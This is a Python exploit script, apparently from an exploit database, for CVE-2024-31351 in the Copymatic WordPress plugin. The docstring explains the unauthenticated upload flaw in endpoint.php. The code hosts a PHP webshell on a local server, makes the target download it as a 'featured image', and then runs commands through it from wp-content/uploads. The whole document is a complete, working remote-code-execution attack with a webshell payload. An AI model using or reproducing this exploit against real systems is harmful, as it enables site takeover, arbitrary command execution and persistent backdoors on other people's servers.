## https://sploitus.com/exploit?id=PACKETSTORM:226399
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Copymatic <= 1.6 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/copymatic/
# Software Link: https://downloads.wordpress.org/plugin/copymatic.1.6.zip
# Version: 1.6 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-31351
"""CVE-2024-31351 โ Copymatic <= 1.6 โ Unauthenticated Arbitrary File Upload -> RCE
Blackbox HTTP exploit against a real WordPress + Copymatic install.
Root cause (copymatic/endpoint.php):
- endpoint.php is a standalone, unauthenticated entry point. It only checks that the
server-side option `copymatic_website_key` is set (line 11-12); the request carries no
secret. Any anonymous POST is accepted once the plugin has been configured.
- `featured_image` (attacker JSON) is fetched with file_get_contents() and written with
file_put_contents() to the uploads dir using basename($image_url) as the filename, with
NO extension/MIME validation (line 36-45). A `.php` URL yields a webshell on disk.
Technique: we host the PHP webshell on a throwaway HTTP server, tell Copymatic to "download"
it as the post's featured image, then execute it from wp-content/uploads.
Usage:
python3 CVE-2024-31351_copymatic.py --target http://localhost:8090 --lhost host.docker.internal
( --lhost is the address the TARGET uses to reach THIS machine; inside Docker Desktop that
is host.docker.internal. --lport defaults to 8899. )
"""
import argparse, json, threading, http.server, socketserver, time, sys, datetime
import requests
requests.packages.urllib3.disable_warnings()
TOKEN = "CPMTC_PWNED_31351"
SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
"echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
class PayloadHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# serve the raw PHP source as text so the attacker server does NOT execute it
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SHELL)))
self.end_headers()
self.wfile.write(SHELL)
def log_message(self, *a): pass
def start_server(port):
socketserver.TCPServer.allow_reuse_address = True
httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
return httpd
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="WP base URL, e.g. http://localhost:8090")
ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
ap.add_argument("--lport", type=int, default=8899)
ap.add_argument("--shell-name", default="cpmtc_shell.php")
ap.add_argument("--cmd", default="id")
args = ap.parse_args()
base = args.target.rstrip("/")
print(f"[*] Target: {base}")
print(f"[*] Starting payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
httpd = start_server(args.lport)
time.sleep(0.5)
image_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
endpoint = base + "/wp-content/plugins/copymatic/endpoint.php"
body = {"title": "lab", "content": "lab-body", "featured_image": image_url}
print(f"[*] POST {endpoint}")
print(f"[*] featured_image = {image_url}")
r = requests.post(endpoint, data=json.dumps(body),
headers={"Content-Type": "application/json"}, timeout=30, verify=False)
print(f"[*] Response: HTTP {r.status_code} :: {r.text[:200]}")
# webshell lands in uploads/<YYYY>/<MM>/<name>
now = datetime.datetime.now(datetime.timezone.utc)
candidates = [
f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
f"/wp-content/uploads/{args.shell_name}",
]
print("[*] Verifying webshell (blackbox RCE check)...")
for path in candidates:
url = base + path
try:
rr = requests.get(url, params={"c": args.cmd}, timeout=15, verify=False)
except Exception as e:
print(f" {path} -> error {e}"); continue
if TOKEN in rr.text:
print(f"\n[+] RCE CONFIRMED โ webshell at {path}")
print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
httpd.shutdown()
return 0
else:
print(f" {path} -> HTTP {rr.status_code} (no marker)")
print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
httpd.shutdown()
return 1
if __name__ == "__main__":
sys.exit(main())